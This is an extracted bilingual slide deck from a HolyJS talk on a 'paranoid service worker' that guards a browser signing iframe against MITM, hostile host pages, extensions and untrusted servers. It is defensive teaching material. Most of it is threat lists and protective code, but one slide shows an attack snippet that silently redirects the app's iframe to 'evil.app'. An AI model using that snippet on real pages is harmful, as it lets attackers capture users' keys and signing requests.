paranoid service worker
Vsevolod Rodionov, tech cutup
@jabher
Upon installation or autoupdate, it would exfiltrate credentials for sites including amazon.com, live.com, github.com, google.com, myetherwallet.com...
После установки или обновления оно начинало похищать реквизиты на сайтах amazon.com, live.com, github.com, google.com, myetherwallet.com...
POPULAR CRYPTO SERVICE MYETHERWALLET HIT BY ATTACK AFTER HOLA VPN GETS HACKED
ПОПУЛЯРНЫЙ КРИПТОСЕРВИС MYETHERWALLET БЫЛ АТАКОВАН ПОСЛЕ ВЗЛОМА HOLA VPN
Alexey Bogachuk: Vulnerabilities in your application. HolyJS '17 Msk
The Problem
Trusted APP
import {Platform} from
class App
implements Platform {
...
}
Trusted platform
interface Platform {
sensitive: never;
getKeys (): Key[];
sign (Data, Key):
Signature;
}
Trusted platform
interface PlatformSpec {
requirements: Possible
}
Trusted platform
interface PlatformSpec {
requirements: Possible,
browser:
| Chrome | Firefox
| Edge | Safari
}
Trusted platform
interface PlatformSpec {
requirements: Possible,
browser:
| Chrome | Firefox
| Edge | Safari,
platform:
| Windows | MacOS | Linux
| iOS<{jailbroken?: false}>
| Android<{rooted?: false}>
}
Crossorigin communication
baseline
// https://caller.app
<iframe
src="https://our.app/sign?0xDEADBEEF"/>
// https://our.app/sign
<script type="module">
import {handle} from "./handle.js"
window.parent.postMessage(
handle(location))
</script>
Attack vectors
- MITM: Control transport level (OSI)
- Server: Control data layer (OSI)
-
Browser host frame context:
- read/write postMessage chan
- nel
-
Browser our frame context:
- read/write/block postMessage channel
-
Browser plugins:
- read/write/cancel/reject network requests
- inject
Attack vectors
- MitM: транспортный уровень OSI
- Мы сами: прикладной уровень OSI
-
Browser host frame context:
- read/write postMessage chan
- nel
-
Browser our frame context:
- read/write/block postMessage channel
-
Browser plugins:
- read/write/cancel/reject network requests
- inject in every HTTP(s) page. See "frame context"
Attack vectors
- MitM: транспортный уровень OSI
- Мы сами: прикладной уровень OSI
- Контекст caller.app:
- Читать и писать в postMessage
- Менять глобальные переменные
-
Browser our frame context:
- rearead/write/block postMessage channel
-
Browser plugins:
- read/write/cancel/reject network requests
- inject in every HTTP(s) page. See "frame context"
Attack vectors
- MitM: транспортный уровень OSI
- Мы сами: прикладной уровень OSI
- Контекст страницы caller.app:
- Читать и писать в postMessage
- Менять глобальные переменные
- Контекст страницы our.app:
- + читать и писать в наш localStorage
-
Browser plugins:
- read/write/cancel/reject network requests
- inject in every HTTP(s) page. See "frame context"
Attack vectors
- MitM: транспортный уровень OSI
- Мы сами: прикладной уровень OSI
- Контекст страницы caller.app:
- Читать и писать в postMessage
- Менять глобальные переменные
- Контекст страницы our.app:
- + читать и писать в наш localStorage
- Браузерные плагины:
- Читать,менять, отменять сетевые запросы
- Внедряться в любые HTTP(s) страницы
Attacks
😱 Похищены ключи
Attacks
😱 Похищены ключи
😩 API не работает
😒 Флуд в API
Attacks
😱 Похищены ключи
😩 API не работает
😒 Флуд в API
🤔 аргументы или результат раскрыты
the solution
Disclaimer: Аудит безопасности не завершен. Все трюки выполнены профессионалами, не пытайтесь повторить дома на проде. Если вы действительно хотите использовать это - сначала свяжитесь со мной лично (@jabher/Всеволод Родионов)
untrusted network
HTTP handshake
HTTP handshake
DNS handshake
- DNSSEC
- DNS-over-TLS
- DNS-over-HTTPS
DNS handshake
HTTPS HANDSHAKE
HSTS preload list
TLS/SSL vulnerabilities
TLS/SSL vulnerabilities
- Logjam
- NOMORE
- Bar Mitzvah
- SWEET32
- POODLE
- Heartbleed
- DROWN
- CRIME
- BEAST
- BREACH
- FREAK
untrusted DOM
untrusted frame
new MutationObserver(ms => {
for (const fr of getAddedIframes(ms))
if (fr.src.startsWith('https://our.app')
fr.src = iframe.src
.replace(
'https://our.app',
'https://evil.app')
}).observe(document.body,
{ subtree: true, childList: true })
untrusted frame
const frame = createIframe(frameUrl)
const mo = new MutationObserver(
mutations =>
reject(new InterceptionError))
mo.observe(iframe, {
attributes: true
})
document.body.appendChild(frame)
untrusted server
const {ok, headers} = await fetch(frameUrl, {
integrity: 'sha384-...',
redirect: 'manual',
cache: 'force-cache',
mode: 'cors'
})
assert(
ok
)
injectIframe(frameUrl)
untrusted server
const {ok, headers} = await fetch(frameUrl, {
integrity: 'sha384-...',
redirect: 'manual',
cache: 'force-cache',
mode: 'cors'
})
assert(
ok,
headers.get('Cache-Control') === 'max-age=84600',
headers.has('pragma') === false
)
injectIframe(frameUrl)
untrusted server
service worker
untrusted cache
//iframe.html
await navigator.serviceWorker.register('sw.js', {
updateViaCache: 'all'
})
//sw.js
self.addEventListener('fetch', event =>
event.respondWith(new Response(`
<!doctype html>
<script>
window.parent.postMessage(
await handle(location)
)
</script>
`)))))
update via cache
- all - пользуемся кэшом для всех ответов, но если cache-control: max-age больше чем 24 часа - кэширует на 24 часа
- none - браузер обновляет SW и его импорты, когда считает нужным
- imports - используем кэш для импортов, но не самого файла сервис-воркера
untrusted
caller:
utilizing
Notification api
untrusted caller
untrusted caller
doSomethingImportant = async (...args) => {
...
await notification('confirm?', {
requireInteraction: true,
data: args,
actions: [
{action: 'res', title: 'yes'},
{action: 'rej', title: 'no'}
]
})
...
}
untrusted caller
// sw.js
self.addEventListener(
'notificationclick',
({notification, action}) => {
notification.close()
actions.callback(
notification.data,
action
)
})
untrusted caller
self.addEventListener('fetch',
event => {
await confirm(event.request)
event.respondWith(new Response(`
<!doctype html>
<script>
window.parent.postMessage(
await handle(location)
)
</script>
`))))})
untrusted caller
self.addEventListener('fetch',
async event => {
await confirm(event.request)
const response = await handle(event)
event.respondWith(new Response(`
<!doctype html>
<script>
window.parent.postMessage(
${
JSON.stringify(response)
})`))})
untrusted caller
Upon installation or autoupdate, it would exfiltrate credentials for sites including amazon.com, live.com, github.com, google.com, myetherwallet.com...
После установки или обновления оно начинало похищать реквизиты на сайтах amazon.com, live.com, github.com, google.com, myetherwallet.com...
untrusted origin
By the time the request gets to fetch, it doesn't know it came from a sandboxed iframe
обработчик запроса в fetch даже не знает, что запрос пришел из sandbox iframe
only allow-same-origin should be required for SW interception within a sandboxed iframe
только allow-same-origin должен требоваться для перехвата запроса сервис-воркером в sandbox iframe
w3c/ServiceWorker/issues/648
untrusted
requests
untrusted requests
OnHeadersReceived
OnBeforeRequest
before
request
- прочитать оригинальный URL
- переадресовать запрос
- прочитать/изменить заголовки запроса
- прочитать тело запроса
- сломать запрос
headers
received
- прочитать итоговый URL
- прочитать status code (200/204/418/502...)
- прочитать заголовки ответа
- сломать запрос
- менять тело ответа
- создавать новые страницы на домене
ПЛАГИНЫ НЕ МОГУТ
Attack vectors
- Контекст страницы caller.app:
- Читать и писать в postMessage
- Менять глобальные переменные
- Контекст страницы our.app:
- + читать и писать в наш localStorage
- Браузерные плагины:
- Читать,менять, отменять сетевые запросы
- Внедряться в любые HTTP(s) страницы
trusted data
uri
DATA URI
<img src="data:image/gif;base64,R0lGODdAAA7"/>
<style>
li {
background: url(data:image/gif;base64,R0lG...);
}
pre {
background:
url(data:image/svg+xml,
<svg xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 1680 590">...)
}
origin evade
event.respondWith(Response.redirect(
'data:text/html,' +
'<script>parent.postMessage(' +
JSON.stringify(
await handle(request.url)
)
')')))
the result
the result
Attacks
Похищены ключи
😎 API не работает
работает даже когда сервер недоступен
обнаруживает ряд попыток атаковать
😒 Флуд в API
😩 аргументы или результат раскрыты
untrusted speaker
как защититься от подмены аргументов в редиректе?
не специфицированная эверистика
+ 20 минут к докладу
untrusted speaker
как защититься от подмены аргументов в редиректе?
не специфицированная эверистика
+ 20 минут к докладу
как защититься от разглашения аргументов в url?
как защититься от разглашения ответов в postMessage?
отдельная whatwg-based механика
+20 минут к докладу
untrusted speaker
как защититься от подмены аргументов в редиректе?
не специфицированная эверистика
+ 20 минут к докладу
как защититься от разглашения аргументов в url?
как защититься от разглашения ответов в postMessage?
отдельная whatwg-based механика
+20 минут к докладу
как защититься от DoS?
копировать опыт других
очень специфично для каждого приложения
untrusted speaker
как защититься от подмены аргументов в редиректе?
не специфицированная эверистика
+ 20 минут к докладу
как защититься от разглашения аргументов в url?
как защититься от разглашения ответов в postMessage?
отдельная whatwg-based механика
+20 минут к докладу
как защититься от DoS?
копировать опыт других
очень специфично для каждого приложения
как сделать API надежнее?
¯\_(ツ)_/¯
Vsevolod Rodionov, tech cutup
@jabher
paranoid service worker
Paranoid Service Worker Holyjs
By jabher
Paranoid Service Worker Holyjs
- 2,631